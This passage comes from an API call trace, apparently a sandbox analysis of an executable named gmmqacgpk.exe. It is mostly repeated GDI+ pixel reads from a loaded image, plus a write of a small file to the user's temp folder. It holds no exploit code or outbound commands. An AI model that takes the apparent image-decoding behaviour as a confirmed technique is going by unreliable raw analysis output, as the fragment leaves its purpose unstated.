(image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=238, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=239, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=240, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=241, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=242, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=243, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=244, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=245, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=246, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=247, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=248, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.156] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.156] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.156] GdipBitmapGetPixel (bitmap=0x1272230, x=249, y=308, color=0x30e800) returned 0x0 [0032.156] GetLastError () returned 0x0 [0032.339] GetACP () returned 0x4e4 [0032.397] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x360380, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0032.397] GetLastError () returned 0x0 [0032.398] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", nBufferLength=0x105, lpBuffer=0x30e244, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", lpFilePart=0x0) returned 0x33 [0032.398] GetLastError () returned 0x0 [0032.401] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x30e10c, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0032.402] GetLastError () returned 0x0 [0032.402] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", nBufferLength=0x105, lpBuffer=0x30e134, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", lpFilePart=0x0) returned 0x3c [0032.402] GetLastError () returned 0x0 [0032.403] SetErrorMode (uMode=0x1) returned 0x0 [0032.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\strpath.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1b0 [0032.407] GetLastError () returned 0x0 [0032.408] GetFileType (hFile=0x1b0) returned 0x1 [0032.409] SetErrorMode (uMode=0x0) returned 0x1 [0032.409] GetFileType (hFile=0x1b0) returned 0x1 [0032.411] WriteFile (in: hFile=0x1b0, lpBuffer=0x27dc5f8*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x30e68c, lpOverlapped=0x0 | out: lpBuffer=0x27dc5f8*, lpNumberOfBytesWritten=0x30e68c*=0x33, lpOverlapped=0x0) returned 1 [0032.412] GetLastError () returned 0x0 [0032.412] CloseHandle (hObject=0x1b0) returned 1 [0032.413] GetLastError () returned 0x0 [0032.559] CoCreateGuid (in: pguid=0x30cdac | out: pguid=0x30cdac*(Data1=0xdabd97a5, Data2=0x50f4, Data3=0x4d38, Data4=([0]=0xa6, [1]=0x81, [2]=0x85, [3]=0x95, [4]=0xce, [5]=0x34, [6]=0x2e, [7]=0x7c))) returned 0x0 [0032.764] GdipLoadImageFromStream (stream=0x5d0010, image=0x30cf74) returned 0x0 [0032.772] GetLastError () returned 0x0 [0032.772] GdipImageForceValidation (image=0x1272f08) returned 0x0 [0032.779] GetLastError () returned 0x0 [0032.779] GdipGetImageType (image=0x1272f08, type=0x30cf50) returned 0x0 [0032.779] GetLastError () returned 0x0 [0032.779] GdipGetImageRawFormat (image=0x1272f08, format=0x30ced8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0032.779] GetLastError () returned 0x0 [0032.800] GdipGetImageWidth (image=0x1272f08, width=0x30cf50) returned 0x0 [0032.800] GetLastError () returned 0x0 [0032.800] GdipGetImageHeight (image=0x1272f08, height=0x30cf50) returned 0x0 [0032.800] GetLastError () returned 0x0 [0032.801] GdipGetImageHeight (image=0x1272f08, height=0x30cf50) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageWidth (image=0x1272f08, width=0x30cf50) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipBitmapGetPixel (bitmap=0x1272f08, x=0, y=332, color=0x30cf3c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipBitmapGetPixel (bitmap=0x1272f08, x=1, y=332, color=0x30cf3c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipBitmapGetPixel (bitmap=0x1272f08, x=2, y=332, color=0x30cf3c) returned 0x0 [0032.801] GetLastError () returned 0x0 [0032.801] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=3, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=4, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=5, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=6, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=7, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=8, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipBitmapGetPixel (bitmap=0x1272f08, x=9, y=332, color=0x30cf3c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.802] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.802] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=10, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=11, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=12, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=13, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=14, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=15, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=16, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.803] GdipBitmapGetPixel (bitmap=0x1272f08, x=17, y=332, color=0x30cf3c) returned 0x0 [0032.803] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=18, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=19, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=20, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=21, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=22, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=23, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipBitmapGetPixel (bitmap=0x1272f08, x=24, y=332, color=0x30cf3c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.804] GetLastError () returned 0x0 [0032.804] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=25, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=26, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=27, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=28, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=29, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=30, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=31, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipBitmapGetPixel (bitmap=0x1272f08, x=32, y=332, color=0x30cf3c) returned 0x0 [0032.805] GetLastError () returned 0x0 [0032.805] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=33, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=34, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=35, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=36, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=37, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=38, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=39, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.806] GdipBitmapGetPixel (bitmap=0x1272f08, x=40, y=332, color=0x30cf3c) returned 0x0 [0032.806] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=41, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=42, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=43, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=44, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=45, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=46, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipBitmapGetPixel (bitmap=0x1272f08, x=47, y=332, color=0x30cf3c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.807] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.807] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=48, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=49, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=50, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=51, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=52, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=53, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=54, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipBitmapGetPixel (bitmap=0x1272f08, x=55, y=332, color=0x30cf3c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageWidth 